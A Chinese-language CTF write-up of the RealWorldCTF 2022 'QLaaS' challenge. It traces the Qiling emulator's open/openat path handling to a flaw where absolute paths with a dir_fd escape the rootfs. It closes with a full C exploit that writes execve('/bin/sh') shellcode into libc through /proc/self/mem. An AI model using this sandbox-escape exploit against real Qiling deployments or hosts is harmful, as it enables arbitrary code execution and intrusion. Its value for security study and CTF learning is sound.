目录

RealWorldCTF2022-QLaaS

目录

QLaaS

这是我比较感兴趣的一个题目。在比赛时,我的思路是类似虚拟机逃逸,通过读写内存从而实现CPU的逃逸,为此我还去寻找了Unicorn的CVE。因为我很好奇,在程序访问内存时,沙盒是如何将地址进行处理从而保证安全的。我在cve中看到了在0x800000..00附近会有部分数据,而在真正的程序运行的时候不会使用这个地址。通过实验,我成功的读出了这部分的数据。但是我并不知道这部分是什么。

题目真正的攻击面在与openat函数没有正确处理目录穿越的问题。

下面我们先看看syscall_open:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int):
    path = ql.os.utils.read_cstring(filename)
    real_path = ql.os.path.transform_to_real_path(path)
    relative_path = ql.os.path.transform_to_relative_path(path)

    flags &= 0xffffffff
    mode &= 0xffffffff

    idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)

    if idx == -1:
        regreturn = -EMFILE
    else:
        try:
            if ql.archtype== QL_ARCH.ARM and ql.ostype!= QL_OS.QNX:
                mode = 0

            #flags = ql_open_flag_mapping(ql, flags)
            flags = ql_open_flag_mapping(ql, flags)
            ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(path, flags, mode)
            regreturn = idx
        except QlSyscallError as e:
            regreturn = - e.errno


    ql.log.debug("open(%s, 0o%o) = %d" % (relative_path, mode, regreturn))

    if regreturn >= 0 and regreturn != 2:
        ql.log.debug(f'File found: {real_path:s}')
    else:
        ql.log.debug(f'File not found {real_path:s}')

    return regreturn

openpath分别转化为了real_pathrelative_path。最终通过ql.os.fs_mapper.open_ql_file打开文件,不过使用的还是path。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
    if self.has_mapping(path):
        self.ql.log.info(f"mapping {path}")
        return self._open_mapping_ql_file(path, openflags, openmode)
    else:
        if dir_fd:
            return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)

        real_path = self.ql.os.path.transform_to_real_path(path)
        return ql_file.open(real_path, openflags, openmode)

如果文件已被映射则打开。如果没有,先检查dir_fd是否被指定,否则会使用 real_path打开文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    def transform_to_real_path(self, path):
        from types import FunctionType

        rootfs = self.ql.rootfs
        real_path = self.convert_path(rootfs, self.cwd, path)
        
        if os.path.islink(real_path):
            link_path = Path(os.readlink(real_path))
            if not link_path.is_absolute():
                real_path = Path(os.path.join(os.path.dirname(real_path), link_path))

            # resolve multilevel symbolic link
            if not os.path.exists(real_path):
                path_dirs = link_path.parts
                if link_path.is_absolute():
                    path_dirs = path_dirs[1:]

                for i in range(0, len(path_dirs)-1):
                    path_prefix = os.path.sep.join(path_dirs[:i+1])
                    real_path_prefix = self.transform_to_real_path(path_prefix)
                    path_remain = os.path.sep.join(path_dirs[i+1:])
                    real_path = Path(os.path.join(real_path_prefix, path_remain))
                    if os.path.exists(real_path):
                        break
            
        return str(real_path.absolute())

path被convert_path转换,最后返回真实路径的绝对路径。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    @staticmethod
    def convert_for_native_os(rootfs, cwd, path):
        rootfs = Path(rootfs)
        cwd = PurePosixPath(cwd[1:])
        path = Path(path)
        if path.is_absolute():
            return rootfs / QlPathManager.normalize(path)
        else:
            return rootfs / QlPathManager.normalize(cwd / path.as_posix())

    def convert_path(self, rootfs, cwd, path):
        if  (self.ql.ostype == self.ql.platform ) \
            or (self.ql.ostype in [QL_OS.LINUX, QL_OS.MACOS] and self.ql.platform in [QL_OS.LINUX, QL_OS.MACOS]):
            return QlPathManager.convert_for_native_os(rootfs, cwd, path)
        elif self.ql.ostype in [QL_OS.LINUX, QL_OS.MACOS] and self.ql.platform == QL_OS.WINDOWS:
            return QlPathManager.convert_posix_to_win32(rootfs, cwd, path)
        elif self.ql.ostype == QL_OS.WINDOWS and self.ql.platform in [QL_OS.LINUX, QL_OS.MACOS]:
            return QlPathManager.convert_win32_to_posix(rootfs, cwd, path)
        else:
            # Fallback
            return QlPathManager.convert_for_native_os(rootfs, cwd, path)

最后无论如何我们的访问都被限制在了rootfs下。这里可以注意到,如果我们指定了dir_fd这不会对路径进行修正。限免看看openat实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
    file_path = ql.os.utils.read_cstring(path)
    # real_path = ql.os.path.transform_to_real_path(path)
    # relative_path = ql.os.path.transform_to_relative_path(path)

    flags &= 0xffffffff
    mode &= 0xffffffff

    idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)

    if idx == -1:
        regreturn = -EMFILE
    else:
        try:
            if ql.archtype== QL_ARCH.ARM:
                mode = 0

            flags = ql_open_flag_mapping(ql, flags)
            fd = ql.unpacks(ql.pack(fd))

            if 0 <= fd < NR_OPEN:
                dir_fd = ql.os.fd[fd].fileno()
            else:
                dir_fd = None

            ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)

            regreturn = idx
        except QlSyscallError as e:
            regreturn = -e.errno
            
    ql.log.debug(f'openat(fd = {fd:d}, path = {file_path}, mode = {mode:#o}) = {regreturn:d}')

    return regreturn

这里指定了dir_fd。同时openat的man page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
   openat()
       The openat() system call operates in exactly the same way as open(), except for the differences described here.

       If  the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than rela‐
       tive to the current working directory of the calling process, as is done by open() for a relative pathname).

       If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the  current  working  directory  of  the  calling
       process (like open()).

       If pathname is absolute, then dirfd is ignored.

如果路径是绝对路径,则dir_fd会被忽略。所以我们可以通过指定dir_fd为stdout来打开任意的文件。

分行读取maps得到python的libc可执行段的地址,然后读取mem,通过lseek移到对应的便宜,然后写入shellcode即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <fcntl.h>
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "H\xbf/bin/sh\x00WH\x89\xe7H1\xf6H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05";

int main(int argc, char *argv[]) {
  int maps, mem;
  FILE *fp;

  maps = openat(1, "/proc/self/maps", O_RDONLY);
  if (maps < 0) {
    printf("Couldn't open /proc/self/maps'");
    exit(-1);
  }
  mem = openat(1, "/proc/self/mem", O_RDWR);
  if (maps < 0) {
    printf("Couldn't open /proc/self/mem'");
    exit(-1);
  }
  fp = fdopen(maps, "rw");
  if (fp == NULL) {
    printf("Couldn't open /proc/self/mem fd'");
    exit(-1);
  }

  char line[1024];
  unsigned long addr = 0;
  while (fgets(line, sizeof(line), fp)) {
    if (strstr(line, "r-xp") && strstr(line, "libc-2.31.so")) {
      sscanf(line, "%lx-", &addr);
      break;
    }
  }

  for (int i = 0; i < 0x17; i++) {
    lseek(mem, addr + i * 0x100, SEEK_SET);
    write(mem, shellcode, sizeof(shellcode));
  }

  return 0;
}